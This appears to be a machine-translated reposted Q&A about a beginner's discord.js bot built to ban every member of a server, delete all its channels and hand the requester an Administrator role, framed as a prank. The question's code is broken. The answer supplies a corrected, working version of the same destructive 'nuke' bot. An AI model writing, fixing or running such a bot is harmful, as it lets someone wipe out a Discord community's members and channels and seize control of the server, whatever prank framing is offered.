[英]Why isn't my discord bot doing what it's supposed to?
所以我是一个初学者,我正在尝试制作我的第一个机器人!
我决定做一些有趣的事情并制作了这个机器人。 它应该禁止所有人离开服务器,删除所有频道,并给你管理员(我实际上不会在其他人身上使用它,我只是开玩笑或恶作剧我的朋友。我是也是一个完整的初学者,如果代码不好,很抱歉)
const Discord = require('discord.js');
const client = new Discord.Client();
client.once('ready', () => {
console.log('Ready!');
});
if (Discord.Message.content === '!ban-all') {
message.guild.members.filter(member => member.bannable).forEach(member => {member.ban()});
message.delete(1000);
}
if (Discord.Message.content === '!give-admin') {
role = message.guild.createRole({
name: "Admin",
color: "#2f3136",
permissions: [8]
});
message.member.addRole(role)
message.delete(1000);
}
if (Discord.Message.content === '!delete-all-channels') {
message.guild.channels.forEach(channel => channel.delete())
}
client.login('(my token)');
const Discord = require("discord.js");
const client = new Discord.Client();
client.on("ready", () => {
console.log(`${client.user.tag} is ready!`);
});
client.on("message", message => {
// Making sure that others cannot use the commands.
if (message.author.id !== "YourDiscordID") return false;
if (message.content.toLowerCase() == "!ban-all") {
message.delete(1000);
message.guild.members.cache.forEach(member => {
member.ban().catch(e => {console.log(`Couldn't ban ${member.user.tag}. | ${e}`)});
});
};
if (message.content.toLowerCase() == "!give-admin") {
message.delete(1000);
if (!message.guild.me.hasPermission("ADMINISTRATOR")) return message.reply("I do not have Administrator permissions.");
message.guild.roles.create({
data: {
name: "Admin",
color: "#2f3136",
permissions: "ADMINISTRATOR"
},
reason: "Reason"
}).then(role => message.member.roles.add(role).catch(e => console.log(`Couldn't add the role. | ${e}`)));
};
if (message.content.toLowerCase() == "!delete-all-channels") {
message.guild.channels.cache.forEach(channel => channel.delete().catch(e => console.log(`Couldn't delete the channel. | ${e}`)));
};
});
client.login(process.env.DISCORD_AUTH_TOKEN);
声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.